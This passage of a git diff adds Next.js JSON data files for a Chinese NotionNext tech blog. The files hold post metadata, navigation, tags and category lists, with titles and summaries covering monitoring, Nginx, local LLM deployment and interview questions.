@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":28,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"},{"value":{"type":"select","value":"准备"},"property":"bB{M"},{"value":{"type":"select","value":"万里长征"},"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","date":{"start_date":"2024-05-25","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240525-LM-04","tags":["面试"],"summary":"脉脉面试题","title":"万里长征-04-脉脉","status":"Published","publishDate":1716595200000,"publishDay":"2024-5-25","lastEditedDate":"2024-06-26T04:59:08.858Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"面试","color":"yellow"}],"password":""},"next":{"id":"146219e7-c178-4485-b223-22f4b977333c","date":{"start_date":"2024-04-29","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240429-prometheus","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","title":"Prometheus+Grafana多方位监控","status":"Published","publishDate":1714348800000,"publishDay":"2024-4-29","lastEditedDate":"2024-04-29T03:07:56.545Z","lastEditedDay":"2024-4-29","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","tagItems":[{"name":"推荐","color":"red"},{"name":"运维","color":"gray"}],"password":""},"recommendPosts":[{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","date":{"start_date":"2024-05-25","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240525-LM-04","tags":["面试"],"summary":"脉脉面试题","title":"万里长征-04-脉脉","status":"Published","publishDate":1716595200000,"publishDay":"2024-5-25","lastEditedDate":"2024-06-26T04:59:08.858Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"面试","color":"yellow"}],"password":""},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","date":{"start_date":"2024-04-08","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240408-LM-02","tags":["面试","文字"],"summary":"跟谁学面试题","title":"万里长征-02-跟谁学","status":"Published","publishDate":1712534400000,"publishDay":"2024-4-8","lastEditedDate":"2024-04-08T17:08:09.011Z","lastEditedDay":"2024-4-9","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","tagItems":[{"name":"面试","color":"yellow"},{"name":"文字","color":"brown"}],"password":""},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","date":{"start_date":"2024-04-05","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240405-LM-01","tags":["面试"],"summary":"贝壳面试题","title":"万里长征-01-贝壳","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-08T06:03:22.365Z","lastEditedDay":"2024-4-8","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","tagItems":[{"name":"面试","color":"yellow"}],"password":""},{"id":"4d955058-b605-46cf-b242-1535b732af30","date":{"start_date":"2024-04-05"},"type":"Post","category":"万里长征","slug":"article/240405-LM","tags":["面试","推荐"],"summary":"常见面试题汇总","title":"万里长征","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-07T09:23:11.250Z","lastEditedDay":"2024-4-7","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"面试","color":"yellow"},{"name":"推荐","color":"red"}],"password":""}]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240429-prometheus.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240429-prometheus.json new file mode 100644 index 000000000..cd826e41d --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240429-prometheus.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":24,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDa